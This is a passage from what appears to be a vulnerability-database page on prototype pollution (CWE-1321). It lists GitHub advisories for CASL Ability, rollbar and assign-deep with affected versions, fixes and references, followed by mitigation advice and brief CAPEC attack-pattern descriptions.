  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-11T19:09:05Z",
    "nvd_published_at": "2026-02-10T16:16:10Z",
    "severity": "CRITICAL"
  },
  "details": "CASL Ability, versions 2.4.0 through 6.7.4, contains a prototype pollution vulnerability.",
  "id": "GHSA-x9vf-53q3-cvx6",
  "modified": "2026-02-11T19:09:05Z",
  "published": "2026-02-10T18:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1774"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stalniy/casl/pull/1093"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stalniy/casl/commit/39da920ec1dfadf3655e28bd0389e960ac6871f4"
    },
    {
      "type": "WEB",
      "url": "https://cwe.mitre.org/data/definitions/1321.html"
    },
    {
      "type": "WEB",
      "url": "https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/stalniy/casl"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stalniy/casl/tree/master/packages/casl-ability"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/458422"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CASL Ability is Vulnerable to Prototype Pollution"
}

GHSA-XCG2-9PP4-J82X

Vulnerability from github – Published: 2025-10-23 20:31 – Updated: 2025-10-24 19:28
VLAI
Summary
rollbar vulnerable to Prototype Pollution in merge()
Details

Impact

Prototype pollution vulnerability in merge(). If application code calls rollbar.configure() with untrusted input, prototype pollution is possible.

Patches

Fixed in 2.26.5 and 3.0.0-beta5.

Workarounds

Ensure that values passed to rollbar.configure() do not contain untrusted input.

References

Fixed in https://github.com/rollbar/rollbar.js/pull/1394 (2.26.x) and https://github.com/rollbar/rollbar.js/pull/1390 (3.x)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.26.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "rollbar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.0-beta4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "rollbar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-alpha1"
            },
            {
              "fixed": "3.0.0-beta5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-23T20:31:30Z",
    "nvd_published_at": "2025-10-23T20:15:41Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nPrototype pollution vulnerability in merge(). If application code calls `rollbar.configure()` with untrusted input, prototype pollution is possible.\n\n### Patches\n\nFixed in 2.26.5 and 3.0.0-beta5.\n\n### Workarounds\n\nEnsure that values passed to `rollbar.configure()` do not contain untrusted input.\n\n### References\n\nFixed in https://github.com/rollbar/rollbar.js/pull/1394 (2.26.x) and https://github.com/rollbar/rollbar.js/pull/1390 (3.x)",
  "id": "GHSA-xcg2-9pp4-j82x",
  "modified": "2025-10-24T19:28:46Z",
  "published": "2025-10-23T20:31:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rollbar/rollbar.js/security/advisories/GHSA-xcg2-9pp4-j82x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62517"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rollbar/rollbar.js/pull/1390"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rollbar/rollbar.js/pull/1394"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rollbar/rollbar.js/commit/61032fe6c208b71e249514800808a54bcb8cb8bb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rollbar/rollbar.js/commit/d717def8b68f4a947975d0aebb729869cdb2d343"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rollbar/rollbar.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rollbar vulnerable to Prototype Pollution in merge()"
}

GHSA-XCVV-84J5-JW9H

Vulnerability from github – Published: 2018-07-26 15:12 – Updated: 2023-03-01 01:46
VLAI
Summary
Prototype Pollution in assign-deep
Details

Versions of assign-deep before 0.4.7 are vulnerable to prototype pollution via merging functions.

Recommendation

Update to version 0.4.7 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "assign-deep"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-3720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-471"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T22:03:01Z",
    "nvd_published_at": "2018-06-07T02:29:00Z",
    "severity": "HIGH"
  },
  "details": "Versions of `assign-deep` before 0.4.7 are vulnerable to prototype pollution via merging functions.\n\n\n## Recommendation\n\nUpdate to version 0.4.7 or later.",
  "id": "GHSA-xcvv-84j5-jw9h",
  "modified": "2023-03-01T01:46:49Z",
  "published": "2018-07-26T15:12:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3720"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/assign-deep/commit/19953a8c089b0328c470acaaaf6accdfcb34da11"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/310707"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-xcvv-84j5-jw9h"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/579"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in assign-deep"
}

Mitigation
Implementation

By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.

Mitigation
Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.

Mitigation
Implementation

Strategy: Input Validation

When handling untrusted objects, validating using a schema can be used.

Mitigation
Implementation

By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

Mitigation
Implementation

Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.